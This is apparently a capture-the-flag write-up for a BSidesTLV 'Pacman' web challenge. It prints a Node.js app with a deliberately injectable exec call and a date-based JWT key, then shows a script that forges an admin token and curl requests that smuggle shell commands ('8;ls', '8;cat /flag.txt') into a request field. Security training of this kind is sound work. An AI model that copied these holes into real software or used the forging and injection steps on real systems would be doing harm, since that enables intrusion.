Pacman

Description

Pacman

The following source code was attached:

const express = require('express');
const app = express();
const crypto = require('crypto');
const jwt = require('jsonwebtoken');
const cookieParser = require('cookie-parser');
const { exec } = require('child_process');
const bodyParser = require('body-parser');


app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));

app.use(cookieParser());


function generateKey() {

    const date = new Date();
    const year = date.getFullYear();

    let month = date.getMonth() + 1;
    month = (month < 10 ? "0" : "") + month;

    let day  = date.getDate();
    day = (day < 10 ? "0" : "") + day;
    const key = `${year}:${month}:${day}:LevelUP!`;
    return crypto.createHash('md5').update(key).digest("hex");

}

function decodeValue(token, key) {
    try {
        return jwt.verify(token, key, function (err, decoded) {
            return decoded.isAdmin
        });
    }
    catch(err) {
        return false;
    }

}


app.get('/', function(req, res) {
    if(req.headers['user-agent'] === 'LevelUP!' && decodeValue(req.cookies.auth, generateKey())) {
        res.render('game.ejs');
    } else {
        res.send("You are not authorized!");
    }

});


app.post('/levelUp', function(req, res) {
    if(req.headers['user-agent'] === 'LevelUP!' && decodeValue(req.cookies.auth, generateKey())) {
        const level = req.body.level;
        exec('./levelup ' + level, (err, stdout) => {
            res.send(stdout)
        });
    } else {
        res.send("You are not authorized!");
    }

});
app.listen(5000, '127.0.0.1',
    () => console.log(`Example app listening on port 5000!`));

Solution

The attached source file contains the logic we need in order to pass the jwt.verify check successfully, so let's start with that.

The JWT token uses a key generated by generateKey(). The ingredients are just the day/month/year and a hardcoded string, so we can easily replicate the key.

Then, we just need to encode the payload { "isAdmin": "1" }.

The following node script does that:

const crypto = require('crypto');
const jwt = require('jsonwebtoken');

function generateKey() {

    const date = new Date();
    const year = date.getFullYear();

    let month = date.getMonth() + 1;
    month = (month < 10 ? "0" : "") + month;

    let day  = date.getDate();
    day = (day < 10 ? "0" : "") + day;
    const key = `${year}:${month}:${day}:LevelUP!`;
    return crypto.createHash('md5').update(key).digest("hex");

}

var h = generateKey()
console.log("Hash:")
console.log(h)

var token = jwt.sign({ isAdmin: '1' }, h, { algorithm: 'HS256'});
console.log("JWT:")
console.log(token)

The result:

root@kali:~/CTFs/bsides/Pacman# nodejs hash.js
Hash:
55c0e94af90e38d9a4544c19e2ff99f8
JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjoiMSIsImlhdCI6MTU2MTU3NjI3OH0.WP8x7NRSQqqqBLtBcX-qyAor3i4Wik7ybCWfvHZhxbE

Now we just mix in the user-agent, and we get:

root@kali:/media/sf_CTFs/bsidestlv/Pacman# curl --cookie "auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjoiMSIsImlhdCI6MTU2MTU3NjI3OH0.WP8x7NRSQqqqBLtBcX-qyAor3i4Wik7ybCWfvHZhxbE" -A "LevelUP!" http://pacman.challenges.bsidestlv.com/levelUp -X POST -d "level=1337"
Level up!

This is good, but what do we do with this?

We can try to level up a few times, see if we get anywhere:

root@kali:/media/sf_CTFs/bsidestlv/Pacman# for i in $(seq 1 10); do curl --cookie "auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjoiMSIsImlhdCI6MTU2MTU3NjI3OH0.WP8x7NRSQqqqBLtBcX-qyAor3i4Wik7ybCWfvH
ZhxbE" -A "LevelUP!" http://pacman.challenges.bsidestlv.com/levelUp -X POST -H "Content-Type: application/json" -d '{"level":"$i"}'; done
Level up!
Level up!
Level up!
Level up!
Level up!

That was fun, but not enough.

Notice how /levelUp is using exec('./levelup ' + level, ...) to perform its logic. What if we piggyback this and send another command to be executes as well?

root@kali:/media/sf_CTFs/bsidestlv/Pacman# curl --cookie "auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjoiMSIsImlhdCI6MTU2MTU3NjI3OH0.WP8x7NRSQqqqBLtBcX-qyAor3i4Wik7ybCWfvHZhxbE" -A "LevelUP!" http://pacman.challenges.bsidestlv.com/levelUp -X POST -H "Content-Type: application/json" -d '{"level":"8;ls"}'
Level up!
a
app.js
b
challenge.js
levelup
node_modules
package-lock.json
package.json
views

Our "ls" was executed right after ./levelup 8;.

Let's continue to look around:

root@kali:/media/sf_CTFs/bsidestlv/Pacman# curl --cookie "auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjoiMSIsImlhdCI6MTU2MTU3NjI3OH0.WP8x7NRSQqqqBLtBcX-qyAor3i4Wik7ybCWfvHZhxbE" -A "LevelUP!" http://pacman.challenges.bsidestlv.com/levelUp -X POST -H "Content-Type: application/json" -d '{"level":"8;ls /"}'
bin
dev
etc
flag.txt
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

Found the flag, let's print it:

root@kali:/media/sf_CTFs/bsidestlv/Pacman# curl --cookie "auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjoiMSIsImlhdCI6MTU2MTU3NjI3OH0.WP8x7NRSQqqqBLtBcX-qyAor3i4Wik7ybCWfvHZhxbE" -A "LevelUP!" http://pacman.challenges.bsidestlv.com/levelUp -X POST -H "Content-Type: application/json" -d '{"level":"8;cat /flag.txt"}'
Level up!
BSidesTLV{H1dd3nPacmanLevelUP!}
123
123